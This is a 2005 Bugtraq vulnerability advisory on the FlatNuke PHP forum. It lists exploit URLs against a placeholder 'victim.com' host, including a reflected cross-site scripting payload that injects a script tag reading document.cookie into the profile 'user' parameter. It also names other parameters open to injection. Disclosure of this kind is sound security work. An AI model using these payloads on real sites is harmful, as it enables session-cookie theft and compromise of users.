[40862] in bugtraq
File Including In FLAT NUKE
daemon@ATHENA.MIT.EDU (abducter_minds@yahoo.com)
Mon Oct 24 17:34:13 2005
Date: 22 Oct 2005 16:51:40 -0000
Message-ID: <20051022165140.23840.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: abducter_minds@yahoo.com
To: bugtraq@securityfocus.com
Class: Input Validation Error
CVE: CVE-MAP-NOMATCH
Remote: Yes
Local: No
Credit: Abducter (ABDUCTER_MINDS@YAHOO.COM) Or (ABDUCTER_MINDS76@HOTMAIL.COM)
Vulnerable: File Including In FLAT NUKE (ALL VERSION)
* info *
FLAT NUKE IS POWER PHP SITES SUPPORT HERE
http://flatnuke.sourceforge.net/flatnuke
* expliot *
http://www.victim.com/flatnuke/forum/index.php?op=profile&user=[abducter]
http://www.victim.com/flatnuke/forum/index.php?op=topic&quale=[abducter]
http://www.victim.com/flatnuke/forum/index.php?op=newtopic&mode=ris&quale=[abducter]&page=1
u must be login
u can see that
http://www.victim.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E
* credit *
For all ARAB -EGYPT-
TO ALL MY FRIENDS IN WWW.S4A.CC
TO MY LOVE (N0N0)
